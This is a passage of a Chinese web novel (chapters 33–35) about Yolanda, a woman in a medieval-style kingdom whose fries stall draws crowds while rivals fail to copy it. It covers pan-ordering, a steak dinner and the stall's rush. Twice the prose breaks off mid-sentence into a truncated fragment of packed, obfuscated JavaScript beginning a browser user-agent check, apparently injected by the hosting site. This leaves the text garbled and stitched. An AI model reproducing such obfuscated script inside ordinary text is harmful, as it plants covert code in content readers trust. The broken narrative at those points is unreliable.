他捧着刚到手的薯条和三明治,越吃越苦大愁深。 待回到自家面包坊,看着客人稀稀拉拉的店面,第无数次叹气。 炉膛里的火还烧着,新烤的黑麦面包码在架子上,热腾腾地冒着气。 搁在往常,这会儿早该卖完收工了。 可现在呢?太阳偏西了,才卖出去不到三分之一。 “师傅,”小学徒从门口探进脑袋,小心翼翼,“又有人问咱家有没有薯条。” 劳伦斯没吭声。 小学徒继续:“我们要不要也卖薯条?我看隔壁街酒馆有卖土豆条了,虽然味道差得远,可也有人买……” 劳伦斯:“滚!” 小学徒缩了缩脖子,识趣躲开。 厨房安静下来,劳伦斯抓着脑袋,心里不禁考虑起小学徒的建议。 这两天,来店里的人十个里有七八个是来问薯条的。 买面包?顺带的。有就买两块,没有拉倒。好像面包成了什么可有可无的玩意儿。 劳伦斯攥紧手里的抹布,又松开。 他找来陶锅,咬牙倒进去半罐子猪油,油脂即将融化,他懊恼的一拍脑门。 光记着滋啦滋啦的油锅了,他怎么把最重要的土豆给忘了。 劳伦斯快步去后院,捡出一颗土豆清洗,先横着切再竖着切,笨拙而认真。 看到切成和买来的薯条差不多的造型,劳伦斯露出得意笑容。 也没有很难嘛。 正好锅里油脂融化,黄澄澄一片,他回想薯条夫人的操作,抓起一把土豆条扔进锅—— “滋啦!” “嗷!” 油锅发生剧烈反应,油脂翻腾飞溅,星星点点落在劳伦斯的手背、胳膊、脸上。 劳伦斯一时间不知道该顾哪里,手忙脚乱一阵,搓着胳膊和脸蛋直喊疼。 小学徒听到动静,悄悄瞅了一眼,又悄悄放下帘子,当没看见。 劳伦斯嚎了一会,赶紧抽开木柴调小火。 等他鼓足勇气靠近锅,才看到锅里硬邦邦炸成木棍一样的玩意。 劳伦斯不死心,捞出来晾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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担心这点钱不够,多拿了十几枚银币以防万一。 他攥着钱袋子,呼哧呼哧喘粗气。 看在金币的面子上,薯条夫人应该会教他吧? - 尤兰达招呼完最后一个客人,虚脱的蹲下歇息。 今天准备了差不多320份薯条,50份三明治,东西卖完了,她人也累懵了,嗓子直冒火。 她缓了好一会,撑着膝盖站起,推车往工匠街深处走。 收益突破新高,尤兰达觉得,是时候给自己添置点好东西了。 比如铁锅。 家里陶锅不少,到底比不上铁锅趁手,大铁锅有了,她需要小铁锅。 工匠街的铁匠铺多,但各做各的,分得细致。 有的主营兵器刀剑,有的专长马蹄铁、马具金属件,有的擅长门锁箱锁和刑具,还有铸造教堂专用的铁钟、铁艺装饰,五花八门。 尤兰达要找的是专做金属工具的,农具、炊具、手工工具这一类。 大多数铺子没写名字,但招牌上会画简笔画,倒也一目了然。 她推着车穿过半条街,好不容易才找到一家木牌上画着菜刀和铁锅图形的店面。 里面叮叮当当敲得正响,她扯着嗓子喊了一声,才有杂役赤着胳膊、满头大汗地跑出来。 “薯条夫人?” 这一声喊,连炉子后面老铁匠都跟着抬起头,满脸胡子被火光映得通红。 “薯条夫人!”老铁匠乐呵呵地放下锤子,“今天这么早收摊了?幸好我去的早,不然又抢不着了。” 尤兰达一瞧,乐了,这不是她的老顾客嘛。 先谢过人家照顾生意,她这才说明来意:“我想打几种铁锅,市面上没有卖的。您要是有空,我给您说说?” 老铁匠来了兴致,放下锤子凑过来:“您说。” 尤兰达张嘴想描述,然而她掌握的词汇量根本不够用。 铁锅的形制、压板的构造,脑子里清清楚楚的东西,到了嘴边变得磕磕巴巴。 她索性借来莎草纸,连说带画外加比划,勉强把几样东西的轮廓和作用交代清楚。 “三明治压板。铁皮敲的薄一点,轻一点,但要结实,中间排四个下陷的坑,指甲盖那么深。” 这是仿造电饼铛,不止三明治,煎蛋、煎饼、烘面包,都能用上。 老铁匠挠着胡子想象一会,“压板没问题,不过翻折……” 尤兰达早有准备,在压板另一侧画出两个抽象的圈。 “两块板子各延出来一小节,锻造的时候留出孔洞,只要插上铁棍串联起来,翻折的问题就解决了。” 老铁匠捧起草图,认真领悟她所说的铁棍、孔洞,翻来覆去看好几遍,越琢磨越觉得主意妙。 “这法子不错,薯条夫人,你的主意太棒了。”他啧啧称奇。 尤兰达谦虚笑笑,说起另外两种平底锅:“平底小铁锅,不需要太大,锅底要平整些,厚薄均匀。还有一种铁板,要长方形,四边围挡住,大概拇指那么高,最好按两个耳朵,方便使用。” “还有一种铲子,做为厨具使用,三角形的铁片,要薄一点。” 既然做了铁板,铲子顺带手做出来配套使,省得再跑一趟。 老铁匠扫一眼图纸,心里有了数,拍着胸脯保证。 “铁锅和铲子明天傍晚来取,压板要等几天,你放心,星期五之前能交货。” 尤兰达没想到速度这么快,忙问:“我该给您多少钱?” 老铁匠掰着手指头算了算料钱、炭钱、人工,报出一个数:“薯条夫人,抱歉我不能给您更多优惠,铁锅总归是不便宜的,它们加起来一共一千五百铜币。” 1500铜币,今天总收入的一半! 尤兰达摸了摸钱袋子,咬牙付款。 “不急不急,”老铁匠摆摆手,“那是总价,交货的时候再付不迟。订金嘛,给三百铜币就成。” 尤兰达顿时没那么心疼了。 1500铜币,明天很快翻倍赚回来。 约定好取货日期,尤兰达推车离开工匠街。 也是耽误这一会,她才发现,工匠街前后竟然冒出不少炸薯条的摊子。 她多看了两眼,认出几张熟面孔。 有个以前卖馅饼的,有个卖麦粥的,两人各自占据一段,生疏地支起油锅,煞有介事地炸着什么。 尤兰达放慢脚步,在路边逗留了一会儿。 摊子前的光景算不上好,偶尔有人好奇凑过去看一眼,旋即摇摇头走开。 即便有个别胆大的掏出铜板买一份,也是尝了一口就皱眉,剩下的捏在手里,不知该扔还是该留。 “伙计,虽然你做的麦粥不好吃,但没有你做的薯条难吃。” 第一天改行的伙计一愣,差点没转过弯来,好一会意识到自己被顾客当面呲了。 尤兰达悄悄瞥了一眼他们所谓的“薯条”,粗的粗细的细,有的炸过了头,有的还没熟透就捞出来,可以想见制作步骤出了哪些差错。 旁边搁着的酱汁不知是什么调的,颜色发暗,更像鲜肉酱。 五铜板一份,便宜是真便宜,可卖相太差了点。 “比薯条夫人的差远了,凭什么收5铜币?” “太让人失望了,我以为会和薯条夫人的差不多。” 靠着薯条的噱头,几位摊主好不容易吆喝来几个顾客,待客人一尝过实物,纷纷认为自己遭遇了诈骗,嘀嘀咕咕走开。 尤兰达收回目光,嘴角压了压,到底没忍住,弯了一下。 回到贝壳街,她果断绕去香料铺。 香料铺不止卖香料,包括染料、矿物颜料等。 红色的茜草,黄色的焊黄,挑出这两种,尤兰达信心满满回家。 等着吧,她的商标一定会是工匠街最漂亮的商标。 34.第 34 章 这一天,尤兰达终于有机会一个人回家。 借着麻布遮挡,她悄悄往菜篮子里丢了几样好东西。 几块猪板油,一块1000克的原切谷饲M3牛排,大蒜N颗,鸡蛋N颗。 累了一天,肚子里没油水不行,吃点好的犒劳一下大家。 托空间的福,否则她哪敢这么吃,一天赚5000铜币也不够造的。 幸好她动作快,盖上麻布没走几步,快到巷口一抬头,自家店门前聚了十来人。 再细看,全是熟面孔。 红发苏珊带着几个学徒和伙计,背来新一批草垫和木板。 几个人站在门口等了好一阵,不时抬头看日头。 蚝郎刚到不久,脚边洇了一小摊水渍,正四处张望。 老格伦家的伙计倚着板车,车上满满当当,罐子、坛子、大缸,摞老高,看着就沉。 还有一个棕发伙计,扛着一麻袋土豆,正跟蚝郎搭话。 木柴铺的杂役等不及,想走又放心不下木柴,原地转了两圈。 好巧不巧,远处传来嘻嘻哈哈的笑声。 尤兰达眺过去,大约翰背着背篓牵着马往这儿走。 西芙拉和菲奥娜抱着一大捧野花,你推我搡,正比谁搭配的更好看。 尤兰达嘴角弯弯,快步走过去,扬声招呼大家进门。 一时间,验货的验货,结算的结算,搬运的搬运,小院里吵吵嚷嚷,热闹得像赶集。 没一会儿,西芙拉三人也进了院子。 大大小小的箩筐从马背上卸下来,挨着院门堆了一溜。 尤兰达刚付清最后一份货款,抬头看见满院忙乱的景象,笑意忍不住加深。 怎么说呢,有点欣欣向荣的意思。 红发苏珊见她忙得脚不沾地,也不多话,主动提出先带人上阁楼铺草垫。 尤兰达以为该上瓦片了,没想到还有工序,拉住她好奇地问了一句。 红发苏珊耐心解释:“一层哪里够,冬天雪最深的时候,能没过大腿。最好铺两层,再架上木椽条,中间填刨花木屑,最后轮到瓦片。” 尤兰达确实不知道铺个屋顶有这么多讲究,心里默默盘算起工期。 红发苏珊笑呵呵说:“材料备足了,我们动作很快的。对了,费尔南多夫人,屋顶内侧您打算怎么弄?我们可以帮您糊石灰泥。” 尤兰达打听过行情,早有了主意:“我想用皮革和挂毯,家里准备了不少。” 红发苏珊一听“挂毯”两个字,羡慕地咂了咂嘴:“那活儿就更简单了,半天足够。夫人放心吧,九月之前,保管给您收拾得妥妥帖帖。” 尤兰达笑着点点头,转身去张罗别的。 鸡油菌一筐,菲奥娜负责清理。 鲜嫩的野韭菜满满三筐,还堆了大约十几斤的羊角芹和几根嫩芦苇,西芙拉和大约翰负责清洗。 尤兰达站在灶台边,脑子里飞快盘算起来。 羊角芹取几斤焯水,做道清爽的沙拉,配蒜香黄油牛排正好。 再把芦笋一起煎了,烘几片面包,既补足碳水,口感也丰富。 剩下的羊角芹,留着和猪肉剁成馅,搭配猪油渣,明天的早午饭蒸包子吃。 飞快搭配好晚饭和明天的早午饭,尤兰达撸起袖子开干。 首先是蚝郎送来的海带,要尽快搓洗掉外面的黏液,挂去露台晾晒。 说到露台,尤兰达抬头望了一眼,琢磨着是时候找人封上外墙了。 否则家里晾点什么,全被人看得清清楚楚,总归不自在。 幸好蚝郎今天忙不过来,没把杂鱼一起送来。不然今晚又得熬到很晚做鱼露。 尤兰达收回目光,手上动作飞快,搓洗海带。半个时辰左右,一手抱盆,一手扛晾晒架,往露台上走。 红发苏珊正带人铺草垫,瞥见尤兰达手里抖开的深绿色宽长条,心里直痒痒,到底没好意思开口问。 尤兰达下了露台,先去菲奥娜那边拨了拨鸡油菌。 她翻了一遍又一遍,竟然没有一个毒蘑菇混进来,意外了好一会儿。 “不错,明天再接再励。” 菲奥娜脑袋昂得高高的,像只开屏的骄傲小孔雀,绝口不提这里面还有大约翰细致检查的功劳。 大约翰蹲在盆边涮洗野韭菜,腼腆地笑了笑,也没抢功的意思。 尤兰达见时间还早,索性烧了热水,把坛子罐子烫洗干净,又翻出几块合适的石板备着。 三筐野韭菜,她打算全做成腌山葱叶。 洗洗涮涮,做完准备工作,她才去厨房生火,熬猪油。 凉白开倒进锅里,下猪板油、姜片、料酒,中火煮开。浮沫撇干净,捞出沥干,再重新下锅,继续用中火慢熬。 红发苏珊铺完草垫和木椽条,临走之前,扭扭捏捏来到厨房。 “嘿,费尔南多夫人,上次听你说在外面摆摊卖薯饼,我想知道你在哪里摆摊。” 红发苏珊可馋薯饼的滋味了,在家自己尝试做过,总觉得少点什么。 原本要过几天才轮到北1店架木椽条,她特意提前几天,就为了弄清楚哪里能买到上次吃的薯饼。 尤兰达不停搅动勺子,“真遗憾,我没有在卖薯饼了。” 红发苏珊天塌了。她心心念念好几天的薯饼啊,就没了? “不过我在卖薯条,虽然和薯饼不太一样。” 红发苏珊心思一动。 她当然知道最近十分火爆的新奇食物,往返皇城时总听人提起。 可惜,他们进城的时间总与小吃摊出摊时间错开,一直没找到机会。 但……费尔南多夫人的薯条,和她听说过的薯条,是一回事吗? 要知道,即便同一条街,不同酒馆煮出来的麦粥也有不同味道。 红发苏珊不抱希望了,可又忍不住期待。 薯饼都那么好吃,或许薯条也不错? “我能尝尝吗?付钱的那种。” 尤兰达环视厨房,猪油正在熬,土豆没洗没切,一时半会还真拿不出现成的。 “我很抱歉。下次吧,你去工匠街,我的小吃摊很容易找到。” 红发苏珊的期待再次落空,她实在没时间跑那么远,为一份薯条。 如果是薯饼,她愿意试一试。 红发苏珊不甘心这么离开,又问:“好吧,您有您的考量,不过我得再问问,以后北1店的饭馆开起来,我还有机会吃到薯饼吗?” 尤兰达笑眯眯点头,肯定的嗯了一声。 红发苏珊漾开笑容,“下次见,最多一个星期,您家的陶瓦就该备齐了。” 小矮人们离去,院子瞬间静了下来。 “噢——上帝啊!妈妈,我们怎么能忘记去菜市街。” “西芙拉,你该早点说的。” 安静没一会,姐妹俩咋咋呼呼的叫嚷起来。 别说,尤兰达也忘了这回事。 “精灵们至少会在皇城逗留一个月,他们还需要采购些过冬物资。”大约翰算皇城老土著了,当即把自己知道的消息说出来。 西芙拉嗷了一嗓子,直接无视大约翰,朝着厨房喊:“妈妈,明天,明天我一定要去菜市街。” 菲奥娜紧跟着喊:“对,我不要去森林了,一点不好玩。” 大约翰吞了吞唾沫,不确定自己有没有说错话,努力缩小存在感。 尤兰达嘴巴不说,心里对精灵的好奇不比她们小。 “明天收摊,我们推着空车子去菜市街,顺便多买点萝卜和果醋。”她拍板道。 西芙拉和菲奥娜齐齐欢呼。 大约翰松了一口气。 “大约翰,你也一起,我们要买的东西可不少。” 大约翰忍不住咧嘴笑,高声回应。 天色擦黑,三筐野韭菜在三个人的努力下,终于涮洗干净,擦干水分,整整齐齐堆在笸箩里。 尤兰达那边正过滤油渣,手上忙着,于是把操作方法一句一句吩咐给大约翰,由他动手。 两罐喷香猪油摆上流理桌,大约翰手里的活也告一段落。 四人合力封坛,转着坛子一点点挪进地窖。 想到明天可以做泡菜萝卜,她便安排三个孩子挑辣椒,争取今晚把辣椒面备足。 三人排排站在料理桌前,对着干辣椒忙活。仗着有大约翰托底,西芙拉和菲奥娜可劲儿磨洋工。 西芙拉一会儿嚷嚷站着累,一会儿又嫌坐着不舒服,没个消停的时候。 菲奥娜更绝,手里捡着辣椒呢,拉起裙摆就跟姐姐商量借蝴蝶结装饰裙子的事。 两人争论用哪种布料合适,热火朝天,把辣椒忘个干干净净。 战火不知怎么烧到了大约翰头上,两人各执一词,非要他说谁的想法更妙。 大约翰哪见过这阵仗,磕磕绊绊挤出一句:“都……都好。” 他不说还好,一说“都好”,两个人全惹毛了。 “噢——男孩子懂什么裙子!看来我们得换别的布料了。” 大约翰回过味来,合着是找他选出排除项的。 尤兰达憋笑憋得辛苦,开口提醒:“别欺负新员工啊。把大约翰气走了,喂马喂兔子、烧火捡马粪,可就没人干了。” 一听工作量可能落在两人身上,姐妹俩对视一眼,耸耸肩。 大约翰却急了:“我不会走的!”他偷瞄了两位小姐一眼,小声补了一句,“没有人欺负我,我、我喜欢讨论裙子。” 西芙拉腰一挺,下巴一抬:“看吧,我们没欺负他。” 尤兰达就多余管他们。 她摇摇头,添柴调大火力,开始煎牛排。 牛肉太贵了,当地人一年到头吃不上一次。 当然,也很少有人把牛当食材,都指望它耕地,宝贝着呢。 尤兰达谨慎取出一块牛排,这是她们目前的收益可以负担起的量,再多一点就可疑了。 无需做什么新鲜花样,普普通通煎一下即可。 牛排冲洗过一遍,吸干水份,表面微微发干的状态最佳,接着撒盐粒、大蒜粉、洋葱粉揉搓腌制。 趁着腌制的间隙,锅烧滚热,到滴水冒烟的程度,牛排直接入锅,全面接触锅底,煎到外表转变成褐色的焦壳,夹起封边。 到这时,牛排外壳熟了,中心的肉还是生的,便可加入黄油,增加风味的同时促进牛排熟。 黄油容易糊,火力调小后,待彻底融化,蒜瓣百里香依次加入。 很快,混着蒜香渗出勾人的味儿,用勺子不断将黄油浇在牛排表面,中途加芦笋一起煎熟,几分钟即可出锅。 牛排捞出静置,给出足够的反应时间。 此时,陶锅水开,尤兰达准备给羊角芹下锅焯水。 夏末的羊角芹远不如春季的鲜嫩,好在大约翰只取顶端的嫩叶采摘,倒不算太差。 多烫两下捞出,再下三颗鸡蛋,三颗小土豆继续煮着。 她顺手往陶锅上架芦苇垫,切几片面包搁上去蒸软。 盖子一盖,尤兰达开始调沙拉的料汁。 料汁简单调一下即可,芥末、橄榄油、葡萄醋,筷子搅匀黄澄澄的,瞧着就开胃。 放下酱汁碗,牛排静置的差不多了,只差最后一个步骤。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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再等一段时,等店铺开起来,生意走上正轨,每天赚多多的铜币,到时候,她顿顿吃牛排也不会有人怀疑。 大约翰:“谢谢您,夫人。” 他无比虔诚的默念一句“愿上帝保佑夫人”。 端走餐盘坐在门槛上,埋头深吸一口酱汁的浓郁气味,大约翰飞扬的心情终于落了地。 出息了,他也有吃上牛排的一天! 1000克牛排四人分,每人只能吃上那么几块,数量不多但足够珍贵。 大约翰慢慢咀嚼,慢慢品味。 白面包原来这么软,绵得像云。 牛肉原来是这个口感,汁水化开,鲜得他喉头直颤。 芦笋竟然可以这么好吃,脆生生的,咬下去还有一丝回甘。 他每一样都尝得很慢,舍不得咽。 吃到半饱,他忽然停下来。 以前啃土豆、嚼黑麦面包,只求肚子不难受就行,昨天晚上,是他这辈子头一回吃撑。 到今天这顿饭,大约翰终于敢确信,跟着夫人,他不会饿肚子了。 盘里还剩两小块牛肉、小半块白面包、一块燕麦饼。他盯着看了好一会儿,没再动一口。 他摸出怀里洗得发白的麻布,在手心铺开,把面包和燕麦饼夹着牛肉包进去,叠好,揣回怀里。 尤兰达瞥了他一眼,没管他鬼祟举动。 分给他的食物,随他处置。 晚饭后没多久,小约翰准时刷新。 大约翰没急着走,等他清理完厕所,两人一起离开。 走出去几步远,大约翰拽住他,先让他擦擦手,然后神神秘秘地从怀里掏出一团麻布包,往小约翰手里一塞。 “快尝尝!费尔南多夫人做的晚饭,有牛肉呢!” 小伙伴面对面,没有旁人在,大约翰终于不用绷着了,兴奋得声音发飘。 小约翰眼睛瞪溜圆,话都说不利索了:“牛、牛肉?” “还有白面包!”大约翰压低声音,却压不住得意劲儿,“对了,燕麦饼也特别好吃。” 小约翰吸溜一下口水,迫不及待地打开麻布包。 先尝一口白面包,眼睛亮了;再尝牛肉块,嚼了半天舍不得咽;最后剩下小半块燕麦饼,他犹豫了一下,又仔仔细细包回去,揣进怀里。 “费尔南多夫人的厨艺,”他咂咂嘴,语气里满是羡慕,“比我想象的还要厉害。” 院子里 尤兰达锁好门窗,里里外外转了一圈。 蜂窝煤晒了几天,明天就能收,菌菇和面片还得多晾晾。 菲奥娜干活糊弄,新摘的鸡油菌堆得密密麻麻,影响晾晒效果,还需她重新摊开。 有的没的杂事处理好,尤兰达锁上厨房后门,闪进空间做辣椒面,熬浆糊。 她埋头忙活,不知过了多久,再抬头时,院内院外静悄悄一片。 尤兰达摸黑溜到柴棚,挑出一根劈好的木柴,带回空间二次加工。 浆糊抹一层,莎草纸抹一层,一层又一层,慢慢捏出想要的形状,烘干机猛吹。 调好的茜草红、焊黄一遍又一遍反复上色,黄的够鲜亮,红的够浓艳,尤兰达终于停手。 她考虑过用名字首字母,仿照双拱门做成商标。 但还是那句话,黑森王国文盲遍地走,他们记不住字母和字母代表的意思。 很多时候,大家连简笔图画都能认错,闹出去武器店买餐具的笑话。 不给大家出难题了,薯条就薯条吧,放大版的总不会认错。 捧起巨大的“蘸酱薯条”欣赏了好一会儿,尤兰达骄傲地送去棚顶晾着。 35.第 35 章 “哇!西芙拉,你快看,好大一根薯条!” “哈,傻子菲奥娜,哪有这么大的土豆,它不可能是薯条。” 尤兰达迷迷糊糊睁开眼,灿烂的阳光直直照进屋里,晃得她又眯了一下。 耳边传来姐妹俩叽叽喳喳的挤兑声,一个嚷嚷,一个反驳,热闹得像捅了麻雀窝。 她猛地意识到自己起迟,腾一下爬起换衣服,一边嘟囔着怎么没人叫醒她,一边拿上牙刷水杯出去洗漱。 推开门,该忙活的都忙活开了。 除了西芙拉和菲奥娜。 两人没注意到她的出现,小脑袋围着大薯条。 大约翰蹲在井边削土豆皮,手上一刻不停,眼睛不时往棚顶方向瞄。 显然,他也被大薯条勾住了好奇心。 尤兰达没有一点不好意思,走过去伸手摸了摸。 没干透,还有些潮,但不影响使用。 她翻出提前备好的细长木棍,往底部预留的孔洞里一插,再往地上一戳,大薯条稳稳当当地立住了。 “就凭它,你们能看出来咱家小吃摊卖什么吗?”她期待地望向另外三人。 大约翰有一点点茫然,他没见过成品薯条,无法对应。 不过只看造型,很难把它和别家的什么东西弄混就是了。 它确实很特别。 西芙拉和菲奥娜十分捧场,绕着转了一圈,啧啧称奇,连连点头。 “像,太像了,只要有人见过薯条,一定能认出来这个大家伙。”西芙拉说。 菲奥娜凑近了看,失望瘪嘴:“它竟然是假的?” 尤兰达无语,她的手艺也没好到以假乱真的程度吧? 这孩子有点傻。 西芙拉翻了个白眼,懒得理她。 连棍子带招牌一起塞上板车,尤兰达决定,从今天开始,只要出摊就插上它。 招牌够醒目,冲着薯条来的客人老远就能知道摊位在哪,也省得顾客们到处乱转,最后还要说一句“今天怎么摆这里了”。 大约翰丈量一下高度,颇为认同的点头。 有这东西戳在那儿,想找不着都难。 他甚至敢保证,一定有许多人为了看清楚这根大薯条,特意跑去围观。 尤兰达费了好大劲做出来的招牌,得到大家一致认可,心里别提多舒坦。 等她走进厨房,看见灶上烧着热水,大G在棚里嚼着青草,盆里的土豆也削得没剩几颗时,心里更舒坦了。 尤兰达忍不住琢磨,往后每天都这么迟起床,似乎也不是不行,大家都太自觉了。 当然,除了西芙拉和菲奥娜。 “小菲,”尤兰达抓起钱袋子丢过去,“今天买四条鳕鱼、五块白面包,快去快回。” 菲奥娜接住钱袋,哼哼唧唧地挪了两步,又回头看了一眼,见老母亲没有改口的意思,恹恹出门。 她真的很讨厌像杂役一样跑腿,也讨厌和一群人挤在一起抢几条又滑又腥的鱼,沾一身鱼腥气。 大约翰削完最后一颗土豆,擦着手跟去厨房。 “夫人,我每天都要从海螺巷过来,我想,我可以顺路买回来鳕鱼和白面包。” 他怕夫人不答应,又赶紧补了一句:“卖鳕鱼的乔恩和我一样,都是从修道院出来的。我想,他应该会愿意给我一些优惠。” 尤兰达挑了挑眉,收个学徒还挺划算。 “好孩子,想法不错。”她先表达肯定意思,话锋一转,“不过先不急,我准备跟面包坊和生鲜摊的人聊聊,预付一个星期的货款,让他们每天送货上门。” 大约翰一呆,脸颊爆红,不禁挠了挠乱糟糟的鸡窝头。 尤兰达拍拍他肩膀:“去,洗干净手,和小西一起切土豆。” 她转向流理桌另一端,西芙拉已经顺利度过新手期,土豆条切得有模有样。 每一个人都在忙碌,尤兰达抓紧时间系上围裙,张罗早午饭。 小米洗净加水熬煮成小米粥,另烧一锅水煮鸡蛋,三两下搞定。 包子是昨晚定下的,面团也是睡前揉好的,借着橱柜遮挡从空间端出来,先放在一旁醒发,尤兰达利用这会工夫剁肉馅。 前两天买回来的猪肉终于派上用场。 挑选肥瘦相间的部分,剁成细细的肉沫,和切碎的羊角芹、葱花拌在一起,撒上洋葱粉、大蒜粉、盐,倒一勺料酒一勺油小半碗水,再打一枚鸡蛋进去,顺着一个方向搅,搅到肉馅起劲儿,黏糊糊地挂在筷子上为止。 油渣数量不多,尤兰达留出大部分当零嘴,取半碗做油渣羊角芹馅。 油渣剁碎,又不能太碎,保持颗粒感,和肉馅一起顺时针搅动,两种馅料便都准备齐全了。 大约翰站在旁边,眼睁睁看着她调馅,眼睛舍不得眨一下。 夫人一惯舍得用料,这么多好东西撒进去,搅拌了没几下,肉馅的香气就飘出来了,等蒸好,不知道该有多好吃。 大约翰眼珠子比手忙,要看夫人调肉馅,还要保证手里的土豆顺利变成条。 尤兰达干活一向利索,又是熟练工,准备工作做好,手根本停不下来。 擀皮,舀馅,捏褶子,一气呵成,一分钟包出七个包子。 玉米衣托住白白胖胖、夹杂些许麦麸的十二个大包子,整齐摆上蒸笼,别说大约翰,连习惯老母亲炫技的西芙拉,都一愣一愣的。 尤兰达一通忙,甚至能抽出空给铜壶里加了松针和麦芽糖,搁灶上小火慢煮。 松针的清香混着麦芽的甜,丝丝缕缕飘出来,厨房里的味道就更丰富了。 忙活半天,回头一看两人还在切土豆,尤兰达嫌弃的把人赶去切面包洗卷心菜,自己笃笃笃切土豆。 大约翰此时佩服的五体投地,菜刀怎么能像是从夫人手里长出的一样,说切哪切哪,干脆利落。 土豆在她手底下一堆堆地往外冒,粗细均匀,长短一致,码在盘子里跟列队似的,漂亮得不像话。 “上帝啊……” 大约翰看直了眼,一不留神,险些连手指一起插进滚水里。 尤兰达头也没抬,手上刀不停:“小心点,急什么。” 大约翰红着脸应了一声,老老实实把卷心菜叶一片一片铺进锅里,再不敢走神。 土豆切完了,包子蒸上了,粥在锅里咕嘟咕嘟冒泡,松针水煮出了淡淡的琥珀色。厨房里热气腾腾,灶台上摆满了备好的食材,一切都井然有序。 “妈,市集上快没人了,听说大家都去了菜市街。”菲奥娜风风火火地冲进来,把篮子往桌上一搁。 “我们下午就去,别着急,孩子。” 尤兰达接过篮子,白面包分给西芙拉和菲奥娜,告诉她们今天要切多少片,自己拎着鳕鱼去井边处理。 菲奥娜一头扎进厨房,围着灶台转了一圈,什么也没看出来,赶紧戳了戳姐姐。 “嘿,西芙拉,今天吃什么?” 西芙拉耸耸肩,“肉馅团?反正我没见过。” “肉馅团”三个字一出来,菲奥娜的眼睛顿时亮了,踮起脚尖往蒸笼里张望。 确实有肉香,混着羊角芹的清鲜,还有一丝说不上来的香料味,勾得人心里直痒痒。 “好香啊……”菲奥娜吸了吸鼻子,恨不得现在就揭开盖子。 她转头看向门外,尤兰达蹲在井边处理鳕鱼,刀起刀落,三两下就收拾得干干净净。 “妈——”菲奥娜扒着门框探出脑袋,“肉馅团还要多久啊?” 尤兰达:“等你切完面包就好了。” 西芙拉这才反应过来,提溜着妹妹的腰带拖回流理桌边。 “别偷懒,快来切面包。” 妈妈可是说了,一份三明治25铜币,今天的100份做出来,就能有2500铜币。 西芙拉可以做一千份、一万份! 菲奥娜想起赚钱要紧,拿上小刀磨面包。 自家吃的三明治切厚片面包,对外出售的,则需要薄上一半,一份用三片,有效降低成本。 只是成本控制了,可为难住她们俩了,切薄了容易碎,手一抖就歪歪扭扭,厚薄不均,务必仔细小心。 菲奥娜盯着手里断了一角的面包块,没敢往盘子里放,悄悄塞进自己嘴里,重新切。 西芙拉比她稳当些,切出来的薄片整整齐齐,码在盘子里,瞧着像那么回事。 大约翰缩着肩膀旁观全程,偷偷笑了一声,又急忙憋住。 一时间,小院里安静下来,只剩刀碰案板的笃笃声,和偶尔压低的说话声。 临近中午,早午饭端上餐桌。 尤兰达切了两根酸黄瓜佐餐,唏哩呼噜喝掉一碗小米粥,一手抓着包子啃,一手忙着炸薯条、炸鳕鱼排、煎荷包蛋,三口灶台轮着转,愣是没耽误一会。 厨房外,姐妹俩咋呼的动静时不时传来。 “好烫好烫,馅饼里怎么会有汁。” “好软好黏,你看,它陷下去了。” 和面时用了沸水,没放酵母粉,也就是所谓的死面,做出来的包子皮薄透亮、软糯微弹,这样的状态,和中世纪常见的硬邦邦面食无一处相似。 哪哪怕是大家公认“够软”的白面包,也比不上。 大约翰一口咬下去,肉馅鲜嫩多汁,紧贴包子皮,稍不注意汁水四溢,沾的衣袖上都是肉馅香味。 油渣羊角芹馅的不比肉馅差。油渣的荤香被羊角芹的野气托住,不腻不寡,十分独特。 他咬一口,斯哈一下,再咬一口,又斯哈一下,满口的肉味,混着羊角芹的清鲜,烫得他直吸气,却不愿停下来。 这时吃两口酸黄瓜,喝一口粥,浑身的毛孔都舒展开了。 他低头看着手里剩下的小半块包子。 和前几顿一样,大部分是街市上常见的食材,落在夫人手里,完全变了个样。 这日子过的……也太好了。 “孩子们,该组装三明治了——” 尤兰达一声喊,三人闻言加速咀嚼,抹着嘴往厨房跑。 今天,尤兰达决定带上菲奥娜去摆摊。 没办法,客人越来越多,一个人应付多少有点累。 菲奥娜年轻体力好,分开姐妹俩,也能让压制一下她们的玩心,多想着点干活。 “小西,你和大约翰继续进山,挑鸡油菌,”尤兰达一边往板车上搬东西,一边交待,“老规矩,不许去太深的地方,不许采摘陌生菌菇。” 西芙拉瞥一眼大约翰,百无聊赖的摊手。 虽然妹妹很蠢,但和妹妹在一起比和大约翰一起有趣太多。 大约翰元气满满,他对工作的热情,不亚于某黄色海绵。 临出门前,尤兰达拽住西芙拉,往她裙子的兜里塞了一把匕首。 “带着。”她压低声音。 西芙拉愣了一下,摸摸兜里的小刀,又抬头看看妈妈。 尤兰达没多解释,拍了拍她的肩膀,转身推起板车。 大约翰看着没什么坏心眼,可防人之心不可无。 西芙拉虽不满18岁,但身高已经有一米七几了,比营养不良的大约翰高出两个头,加上匕首,完全可以压制他。 板车吱呀吱呀推出门,菲奥娜回头挥挥手,笑得没心没肺。 “早点回来!”西芙拉喊了一声,下午要一起去菜市街的。 板车拐过弯,不见了。 西芙拉收回目光,拍了拍裙子上并不存在的灰,转头睨一眼大约翰。 “走吧。” 大约翰点点头,背起背篓,跟上她的脚步。 两人一前一后,往山林的方向去。 已经两天没来摆摊的菲奥娜,还当一切和以前一样。 直到走进工匠街,她彻底傻眼。 “妈妈,”她的声音发飘,“我才两天没来工匠街,对吗?” 两天而已,工匠街陌生得可怕。 板车还没停稳,呼啦啦一群人围上来,伸手递钱催着点单,叽叽喳喳吵得人脑仁疼。 眨眼工夫,队伍从摊前蜿蜒出去,绕过街角,尾巴隐入巷子深处,根本望不到头。 尤兰达踩上大树根,手搭额前眺望远处,直呼好家伙。 没到星期四呢,这就疯狂了,真搞个疯狂星期四,她的小摊哪遭得住啊。 菲奥娜张望了一圈又一圈,没见到熟面孔,绷紧的神经放松些许。 